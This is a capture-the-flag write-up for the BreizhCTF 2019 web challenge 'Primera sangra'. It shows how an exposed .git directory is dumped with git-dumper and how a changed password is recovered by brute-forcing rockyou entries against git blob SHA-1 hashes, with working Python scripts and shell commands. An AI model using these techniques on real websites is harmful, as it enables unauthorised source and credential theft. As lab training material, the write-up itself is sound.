BreizhCTF 2019: Primera sangra
Challenge details
Event | Challenge | Category | Points | Solves |
---|---|---|---|---|
BreizhCTF 2019 | Primera sangra | Web | 175 | 2 |
Description
Zeecka: I lost the description but the topic was about an administrator who put his website in production and forgot to change his password. He decided to change it with
vi
on the production website.URL: http://ctf.bzh:26000
TL;DR
We got a .git
directory with files. The file containing a secret has been modified and did not correspond to any object hash inside the git directory. We had to change the secret file with each rockyou password and recompute each hash to retrieve the right password. The good one was the one matching with one of git hash objects.
Methodology
Webscan
The first step was not really hard. I used Acunetix web scanner but a scanner such as nikto or a simple dirbuster could have found the same entry point: a .git
directory.
Git Dumper
I used the git-dumper tool to dump the .git
directory.
mkdir output
python git-dumper.py http://ctf.bzh:21000/.git output
Identifying the vulnerability
First of all, I looked at the source code and tried to exploit pickle.load()
features, without success. Looking at the challenge description we realized that one of the files didn’t match any hashes in .git directory:
git hash-object *
b9a9f0016edfa13722676a5a7764e5e90683bb6e
a8d36c721525b80c9cb29dac6f06b5acf8c60c2b
3bec6d5b3fbf61fde6c10007a70fb90aa0871f7f
tree .git/objects
├── 21
│ └── ff7f561f87c1a682d11dcb2572772e4e1872af
├── 37
│ └── 4e045ef2ea84be825ead668a69aac28ce7b53e
├── a8
│ └── d36c721525b80c9cb29dac6f06b5acf8c60c2b
├── b9
│ └── a9f0016edfa13722676a5a7764e5e90683bb6e
└── f9
└── 0a1376b0c94bc33eb2f8e6e77f24f828039237
Here, the hash 3bec6d5b3fbf61fde6c10007a70fb90aa0871f7f
didn’t match any of the object hashes. This means the hash corresponds to a file that has been modified and not added inside the git directory (with git add).
This hash corresponds to the secret_password.py
file.
git hash-object secret_password.py
3bec6d5b3fbf61fde6c10007a70fb90aa0871f7f
cat secret_password.py
secret_password = "REDACTED"
Here is the vulnerability: The secret_password.py
has been edited but we still have the git hash object of the old secret_password.py
file. We have to replace the “REDACTED” password with a password, re-compute the hash of the file and verify if the hash matches one of the objects. If it does, it means that we found the right password.
Bruteforce v1
I decided to write the following python script to bruteforce and get the good password using rockyou.txt wordlist:
import sys
import hashlib
hashes = ["21ff7f561f87c1a682d11dcb2572772e4e1872af",
"374e045ef2ea84be825ead668a69aac28ce7b53e",
"a8d36c721525b80c9cb29dac6f06b5acf8c60c2b",
"b9a9f0016edfa13722676a5a7764e5e90683bb6e",
"f90a1376b0c94bc33eb2f8e6e77f24f828039237"]
with open("rockyou.txt","r") as f:
l = f.read().split()
for p in l:
with open("tmp.txt","wb") as f2:
f2.write('secret_password = "'+p+'"')
h = os.popen('git hash-object tmp.txt').read()
if h in hashes:
print("Found flag : "+str(p))
sys.exit()
The script was waaaaaay too long (hours of executions :‘( ). I had to compute the hash by myself.
Hashing algorithm
The hash object is generated with a special shasum:
echo -ne 'blob <content size>\0<content>' | shasum
We can verify with the following command:
echo -ne 'blob 28\0secret_password = "REDACTED"' | shasum
3bec6d5b3fbf61fde6c10007a70fb90aa0871f7f
git hash-object secret_password.py
3bec6d5b3fbf61fde6c10007a70fb90aa0871f7f
Bruteforce v2
Here is the final version of the script (note that no system() is involved):
import os
import sys
import hashlib
hashes = ["21ff7f561f87c1a682d11dcb2572772e4e1872af",
"374e045ef2ea84be825ead668a69aac28ce7b53e",
"a8d36c721525b80c9cb29dac6f06b5acf8c60c2b",
"b9a9f0016edfa13722676a5a7764e5e90683bb6e",
"f90a1376b0c94bc33eb2f8e6e77f24f828039237"]
fname = "tmp2.txt"
with open("rockyou.txt","r") as f:
l = f.read().split()
for p in l:
c = 'secret_password = "'+p+'"'
h = hashlib.sha1('blob '+str(len(c))+'\0'+c).hexdigest()
if h in hashes:
print("Found flag : "+str(p))
sys.exit()
It took 8 seconds !
Found flag : mhonowa2248116553575515246859
Flag
BREIZHCTF{mhonowa2248116553575515246859}